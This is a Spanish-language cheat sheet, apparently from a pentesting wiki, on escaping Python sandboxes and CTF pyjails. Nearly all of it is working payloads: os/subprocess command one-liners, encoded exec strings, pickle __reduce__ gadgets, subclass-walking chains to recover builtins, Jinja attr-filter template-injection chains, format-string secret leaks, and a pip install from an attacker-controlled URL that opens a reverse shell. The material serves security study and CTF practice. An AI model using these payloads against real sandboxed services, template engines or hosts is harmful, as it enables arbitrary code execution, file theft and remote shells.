Estos son algunos trucos para bypass las protecciones de python sandbox y ejecutar comandos arbitrarios.

Js2py Sandbox Escape Cve 2024 28397

Bibliotecas de ejecución de comandos

Lo primero que necesitas saber es si puedes ejecutar code directamente con alguna librería ya importada, o si puedes importar cualquiera de estas librerías:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Recuerda que las funciones open y read pueden ser útiles para leer archivos dentro del python sandbox y para escribir algo de código que puedas ejecutar para bypass el sandbox.

[!CAUTION] > Python2 input() permite ejecutar código python antes de que el programa falle.

Python intenta cargar librerías desde el directorio actual primero (el siguiente comando imprimirá desde dónde python está cargando los módulos): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox con los paquetes python instalados por defecto

Paquetes por defecto

Puedes encontrar una lista de paquetes preinstalados aquí: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Ten en cuenta que desde un pickle puedes hacer que el entorno python importe librerías arbitrarias instaladas en el sistema.
Por ejemplo, el siguiente pickle, cuando se cargue, va a importar la librería pip para usarla:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Para más información sobre cómo funciona pickle consulta esto: https://checkoway.net/musings/pickle/

Paquete Pip

Truco compartido por @isHaacK

Si tienes acceso a pip o pip.main() puedes instalar un paquete arbitrario y obtener una reverse shell llamando:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:

Tip

This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won’t leave any extra python package installed on the server when you leave.

Eval-ing python code

Warning

Ten en cuenta que exec permite cadenas multilínea y “;”, pero eval no (revisa walrus operator)

Si ciertos caracteres están prohibidos puedes usar la representación hex/octal/B64 para bypass la restricción:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Otras librerías que permiten evaluar código Python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Evasión de protecciones mediante codificaciones (UTF-7)

En this writeup UFT-7 se usa para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

También es posible evadirlo usando otras codificaciones, p. ej. raw_unicode_escape y unicode_escape.

Ejecución de Python sin llamadas

Si estás dentro de una jaula de python que no te permite realizar llamadas, todavía existen algunas formas de ejecutar funciones arbitrarias, código y comandos.

RCE con decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creación de objects y sobrecarga

Si puedes declarar una class y crear un object de esa class podrías escribir/sobrescribir diferentes methods que pueden ser activados sin necesitar llamarlos directamente.

RCE con custom classes

Puedes modificar algunos class methods (sobrescribiendo class methods existentes o creando una nueva class) para hacer que ejecuten código arbitrario cuando sean activados sin llamarlos directamente.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Creando objetos con metaclasses

Lo importante que nos permiten hacer las metaclasses es crear una instancia de una clase sin llamar directamente al constructor, creando una nueva clase con la clase objetivo como metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creación de objetos con excepciones

Cuando una exception se desencadena un objeto de la Exception es creado sin que necesites llamar al constructor directamente (un truco de @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Más RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Leer archivo con ayuda de builtins y licencia

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Builtins functions of python2
• Builtins functions of python3

Si puedes acceder al objeto __builtins__ puedes importar librerías (nota que también podrías usar aquí otra representación en cadena mostrada en la última sección):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

Cuando no tienes __builtins__ no vas a poder importar nada ni siquiera leer o escribir archivos ya que todas las funciones globales (como open, import, print…) no están cargadas.
Sin embargo, por defecto python importa muchos módulos en memoria. Estos módulos pueden parecer benignos, pero algunos de ellos también importan funcionalidades peligrosas en su interior que pueden ser accedidas para obtener incluso arbitrary code execution.

En los siguientes ejemplos puedes observar cómo abusar de algunos de estos módulos “benign” cargados para acceder a funcionalidades peligrosas en su interior.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Más abajo hay una función más grande para encontrar decenas/cientos de lugares donde puedes encontrar los builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Payloads de builtins

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals y locals

Comprobar las globals y las locals es una buena manera de saber a qué puedes acceder.

Below there is a bigger function para encontrar decenas/cientos de lugares donde puedes encontrar las globals.

Descubrir ejecución arbitraria

Aquí quiero explicar cómo descubrir fácilmente funcionalidades cargadas más peligrosas y proponer exploits más fiables.

Accediendo a subclases con bypasses

Una de las partes más sensibles de esta técnica es poder acceder a las subclases base. En los ejemplos anteriores esto se hizo usando ''.__class__.__base__.__subclasses__() pero hay otras maneras posibles:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Encontrar librerías peligrosas cargadas

Por ejemplo, sabiendo que con la librería sys es posible import arbitrary libraries, puedes buscar todos los módulos cargados que han importado sys:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Hay muchos, y solo necesitamos uno para ejecutar comandos:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Podemos hacer lo mismo con otras librerías que sabemos que pueden usarse para ejecutar comandos:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

Python Format String

Si envías una string a python que va a ser formateada, puedes usar {} para acceder a la información interna de python. Puedes usar los ejemplos anteriores para acceder a globals o builtins por ejemplo.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Fíjate cómo puedes acceder a atributos de forma normal con un punto como people_obj.__init__ y a un elemento de dict con corchetes sin comillas __globals__[CONFIG]

También observa que puedes usar .__dict__ para enumerar elementos de un objeto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Otras características interesantes de las cadenas de formato son la posibilidad de ejecutar las funciones str, repr y ascii sobre el objeto indicado añadiendo !s, !r, !a respectivamente:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Además, es posible code new formatters en clases:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

De format string a RCE cargando librerías

According to the TypeMonkey chall from this writeup it’s possible to load arbitrary libraries from disk abusing the format string vulnerability in python.

Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo 2*3 ejecutará (2).mul(3) o {'a':'b'}['a'] será {'a':'b'}.__getitem__('a').

Tienes más ejemplos como este en la sección Python execution without calls.

A python format string vuln doesn’t allow to execute function (it’s doesn’t allow to use parenthesis), so it’s not possible to get RCE like '{0.system("/bin/sh")}'.format(os).
However, it’s possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it’s possible to abuse them to get RCE.

Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Este gadget permite cargar una biblioteca desde disco. Por lo tanto, es necesario de algún modo escribir o subir la biblioteca a cargar correctamente compilada en el servidor atacado.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

El desafío en realidad explota otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.

Tip

Si quieres aprender sobre python bytecode en profundidad lee este excelente post sobre el tema: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

En algunos CTFs se te puede proporcionar el nombre de una función personalizada donde reside la flag y necesitarás ver los detalles internos de la función para extraerla.

Esta es la función a inspeccionar:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals (Igual) obtienen el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Ten en cuenta que si no puedes importar dis en el python sandbox puedes obtener el bytecode de la función (get_flag.func_code.co_code) y disassemblelo localmente. No verás el contenido de las variables que se cargan (LOAD_CONST) pero puedes deducirlas a partir de (get_flag.func_code.co_consts) porque LOAD_CONST también indica el offset de la variable que se está cargando.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')

Compilando Python

Ahora, imaginemos que de alguna manera puedes dump the information about a function that you cannot execute pero necesitas ejecutarla.
Como en el siguiente ejemplo, puedes access the code object de esa función, pero solo leyendo el disassemble no sabes cómo calcular la flag (imagina una función calc_flag más compleja)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Creando el code object

Antes que nada, necesitamos saber cómo crear y ejecutar un code object para poder crear uno que ejecute nuestra function leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

Tip

Dependiendo de la versión de python, los parámetros de code_type pueden tener un orden diferente. La mejor manera de saber el orden de los parámetros en la versión de python que estás ejecutando es ejecutar:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Reconstruyendo una función leaked

Warning

En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el objeto code de la función. En un ejemplo real, todos los valores para ejecutar la función code_type son lo que necesitarás leak.

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

En ejemplos anteriores al inicio de esta publicación, puedes ver cómo ejecutar cualquier código python usando la función compile. Esto es interesante porque puedes ejecutar scripts completos con bucles y todo en una one liner (y podríamos hacer lo mismo usando exec).
De todos modos, a veces puede ser útil crear un objeto compilado en una máquina local y ejecutarlo en la CTF machine (por ejemplo porque no tenemos la función compiled en la CTF).

Por ejemplo, compilemos y ejecutemos manualmente una función que lee ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Si no puedes acceder a eval o exec, podrías crear una función adecuada, pero llamarla directamente normalmente fallará con: constructor not accessible in restricted mode. Así que necesitas una función que no esté en el entorno restringido para llamar a esta función.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Descompilando Python compilado

Usando herramientas como https://www.decompiler.com/ se puede decompilar código python compilado.

Consulta este tutorial:

Varios de Python

Assert

Python ejecutado con optimizaciones con el parámetro -O eliminará las sentencias assert y cualquier código condicional al valor de debug.
Por lo tanto, comprobaciones como

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

será eludido
